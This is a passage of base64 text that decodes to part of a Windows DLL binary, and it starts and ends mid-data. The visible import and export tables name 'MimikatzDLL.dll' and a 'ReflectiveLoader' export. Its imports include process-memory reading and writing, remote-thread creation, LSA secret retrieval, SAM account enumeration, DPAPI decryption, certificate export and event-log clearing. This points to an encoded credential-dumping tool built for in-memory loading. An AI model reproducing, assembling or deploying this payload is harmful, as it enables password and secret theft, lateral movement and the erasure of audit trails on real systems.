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AAHoyBgAAAAAAWjIGAAAAAAA4MgYAAAAAAB4yBgAAAAAABDIGAAAAAADwMQYAAAAAAIwyBgAAAAAAxjEGAAAAAACqMQYAAAAAAJYxBgAAAAAAejEGAAAAAABqMQYAAAAAAFIxBgAAAAAAOjEGAAAAAAAGMQYAAAAAAPIwBgAAAAAA0jAGAAAAAACiMgYAAAAAALYyBgAAAAAAzDIGAAAAAADcMQYAAAAAACIxBgAAAAAAAAAAAAAAAABpA011bHRpQnl0ZVRvV2lkZUNoYXIAIAVXaWRlQ2hhclRvTXVsdGlCeXRlACsBRmlsZVRpbWVUb1N5c3RlbVRpbWUAAEYDTG9jYWxBbGxvYwAASgNMb2NhbEZyZWUACAJHZXRMYXN0RXJyb3IAADQFV3JpdGVGaWxlAMMDUmVhZEZpbGUAAI8AQ3JlYXRlRmlsZVcAXQFGbHVzaEZpbGVCdWZmZXJzAAD4AUdldEZpbGVTaXplRXgAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAUgBDbG9zZUhhbmRsZQDGAUdldEN1cnJlbnRQcm9jZXNzAIIDT3BlblByb2Nlc3MA7ABEdXBsaWNhdGVIYW5kbGUA4QBEZXZpY2VJb0NvbnRyb2wAdARTZXRGaWxlUG9pbnRlcgAAAAVWaXJ0dWFsUXVlcnkAAPsEVmlydHVhbEZyZWUAAQVWaXJ0dWFsUXVlcnlFeAAA/ARWaXJ0dWFsRnJlZUV4AMYDUmVhZFByb2Nlc3NNZW1vcnkA+ARWaXJ0dWFsQWxsb2MAAP8EVmlydHVhbFByb3RlY3RFeAAA+QRWaXJ0dWFsQWxsb2NFeAAA/gRWaXJ0dWFsUHJvdGVjdAAAPQVXcml0ZVByb2Nlc3NNZW1vcnkAAFkDTWFwVmlld09mRmlsZQDlBFVubWFwVmlld09mRmlsZQCMAENyZWF0ZUZpbGVNYXBwaW5nVwAATQNMb2NhbFJlQWxsb2MAAIsDT3V0cHV0RGVidWdTdHJpbmdBAACoAENyZWF0ZVByb2Nlc3NXAACABFNldExhc3RFcnJvcgAACAVXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAADPAUdldERhdGVGb3JtYXRXAACeAkdldFRpbWVGb3JtYXRXAAAqAUZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lAD8BRmluZEZpcnN0RmlsZVcAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUA8QFHZXRGaWxlQXR0cmlidXRlc1cAADQBRmluZENsb3NlAEsBRmluZE5leHRGaWxlVwBoAUZyZWVMaWJyYXJ5AEEDTG9hZExpYnJhcnlXAABMAkdldFByb2NBZGRyZXNzAAAeAkdldE1vZHVsZUhhbmRsZVcAAMAEU2xlZXAAPwRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAGsCR2V0U3RkSGFuZGxlAAAuAUZpbGxDb25zb2xlT3V0cHV0Q2hhcmFjdGVyVwC4AUdldENvbnNvbGVTY3JlZW5CdWZmZXJJbmZvAABbBFNldEN1cnJlbnREaXJlY3RvcnlXAADKAUdldEN1cnJlbnRUaHJlYWQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZABLRVJORUwzMi5kbGwAAMcBSXNDaGFyQWxwaGFOdW1lcmljVwBVU0VSMzIuZGxsAADMAENyeXB0U2V0SGFzaFBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AvwBDcnlwdEV4cG9ydEtleQAAsQBDcnlwdEFjcXVpcmVDb250ZXh0VwAAzQBDcnlwdFNldEtleVBhcmFtAADFAENyeXB0R2V0S2V5UGFyYW0AAMsAQ3J5cHRSZWxlYXNlQ29udGV4dAC5AENyeXB0RHVwbGljYXRlS2V5ALAAQ3J5cHRBY3F1aXJlQ29udGV4dEEAAMYAQ3J5cHRHZXRQcm92UGFyYW0AygBDcnlwdEltcG9ydEtleQAA1AJTeXN0ZW1GdW5jdGlvbjAwNwC6AENyeXB0RW5jcnlwdAAAswBDcnlwdENyZWF0ZUhhc2gAwABDcnlwdEdlbktleQC3AENyeXB0RGVzdHJveUtleQC0AENyeXB0RGVjcnlwdAAAtgBDcnlwdERlc3Ryb3lIYXNoAADIAENyeXB0SGFzaERhdGEAdgBDb3B5U2lkADYBR2V0TGVuZ3RoU2lkAADFAUxzYVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3kAvQFMc2FPcGVuUG9saWN5AJ0BTHNhQ2xvc2UAAIMAQ3JlYXRlV2VsbEtub3duU2lkAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAHwAQ3JlYXRlUHJvY2Vzc0FzVXNlclcAAG4CUmVnUXVlcnlWYWx1ZUV4VwAAaAJSZWdRdWVyeUluZm9LZXlXAABSAlJlZ0VudW1WYWx1ZVcAYQJSZWdPcGVuS2V5RXhXAE8CUmVnRW51bUtleUV4VwAwAlJlZ0Nsb3NlS2V5AH4CUmVnU2V0VmFsdWVFeFcAAO0CU3lzdGVtRnVuY3Rpb24wMzIAVwBDbG9zZVNlcnZpY2VIYW5kbGUAANoARGVsZXRlU2VydmljZQD5AU9wZW5TQ01hbmFnZXJXAAD7AU9wZW5TZXJ2aWNlVwAAyQJTdGFydFNlcnZpY2VXACkCUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAFwAQ29udHJvbFNlcnZpY2UAAIABSXNUZXh0VW5pY29kZQDBAENyeXB0R2VuUmFuZG9tAABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAPcBT3BlblByb2Nlc3NUb2tlbgAAWgFHZXRUb2tlbkluZm9ybWF0aW9uAJEBTG9va3VwQWNjb3VudFNpZFcAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAAC+AENyeXB0RW51bVByb3ZpZGVyc1cA0wJTeXN0ZW1GdW5jdGlvbjAwNgDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAUwBDbGVhckV2ZW50TG9nVwAAgQBDcmVhdGVTZXJ2aWNlVwAAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AAAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAIAFGcmVlU2lkAFcBR2V0U2lkU3ViQXV0aG9yaXR5AABYAUdldFNpZFN1YkF1dGhvcml0eUNvdW50ANICU3lzdGVtRnVuY3Rpb24wMDUAyQFMc2FRdWVyeVRydXN0ZWREb21haW5JbmZvQnlOYW1lAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDBAlNldFRocmVhZFRva2VuAADfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsABcAUnRsVW5pY29kZVN0cmluZ1RvQW5zaVN0cmluZwAADQBSdGxGcmVlQW5zaVN0cmluZwAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADgBSdGxGcmVlVW5pY29kZVN0cmluZwAAEwBSdGxJbml0VW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAQAFJ0bEdldEN1cnJlbnRQZWIAAAAATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAAGQBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAAIAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABABOdFN1c3BlbmRQcm9jZXNzAAAFAE50VGVybWluYXRlUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAhAFNhbU9wZW5Vc2VyAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluAAcAU2FtQ29ubmVjdAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgAsAFNhbVJpZFRvU2lkABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwAFNBTUxJQi5kbGwAAAsATUQ1RmluYWwAAA0ATUQ1VXBkYXRlAAwATUQ1SW5pdAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAAAGAENETG9jYXRlQ2hlY2tTdW0AAGNyeXB0ZGxsLmRsbAAAZQBQYXRoSXNSZWxhdGl2ZVcAOABQYXRoQ2Fub25pY2FsaXplVwA6AFBhdGhDb21iaW5lVwAAU0hMV0FQSS5kbGwA1gBDcnlwdFVucHJvdGVjdERhdGEAAHsAQ3J5cHRCaW5hcnlUb1N0cmluZ1cAALoAQ3J5cHRQcm90ZWN0RGF0YQAAeQBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkASwBDZXJ0R2V0TmFtZVN0cmluZ1cAAAgAQ2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmUAAFcAQ2VydE9wZW5TdG9yZQBAAENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAEAENlcnRBZGRDZXJ0aWZpY2F0ZUNvbnRleHRUb1N0b3JlAAASAENlcnRDbG9zZVN0b3JlAABGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQAsAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQAvAENlcnRFbnVtU3lzdGVtU3RvcmUAagBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAEAFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAQ1JZUFQzMi5kbGwANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAYAEZyZWVDb250ZXh0QnVmZmVyAC0ATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAqAExzYUZyZWVSZXR1cm5CdWZmZXIAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACcATHNhQ29ubmVjdFVudHJ1c3RlZAAmAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAFNlY3VyMzIuZGxsAAEARHNBZGRTaWRIaXN0b3J5VwAABwBEc0JpbmRXAGYARHNVbkJpbmRXAE5URFNBUEkuZGxsAGcBUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA9gFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAHYBUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAeQFScGNCaW5kaW5nU2V0T3B0aW9uAGUBUnBjQmluZGluZ0ZyZWUAAPoBUnBjU3RyaW5nRnJlZVcAAJYATmRyQ2xpZW50Q2FsbDMAAFJQQ1JUNC5kbGwAABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAE5FVEFQSTMyLmRsbAAA1wJIZWFwRnJlZQAAtANSYWlzZUV4Y2VwdGlvbgAAIQRSdGxQY1RvRmlsZUhlYWRlcgAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAACUEUnRsVW53aW5kRXgA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA0wJIZWFwQWxsb2MAHwFFeGl0UHJvY2VzcwDLAERlY29kZVBvaW50ZXIAywFHZXRDdXJyZW50VGhyZWFkSWQAAFsBRmxzU2V0VmFsdWUAjAFHZXRDb21tYW5kTGluZUEA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AO4ARW5jb2RlUG9pbnRlcgBaAUZsc0dldFZhbHVlAFkBRmxzRnJlZQBYAUZsc0FsbG9jAADOBFRlcm1pbmF0ZVByb2Nlc3MAAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgACA0lzRGVidWdnZXJQcmVzZW50ACYEUnRsVmlydHVhbFVud2luZAAAGARSdGxDYXB0dXJlQ29udGV4dAB4AUdldENQSW5mbwBuAUdldEFDUAAAPgJHZXRPRU1DUAAADANJc1ZhbGlkQ29kZVBhZ2UAfARTZXRIYW5kbGVDb3VudAAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3B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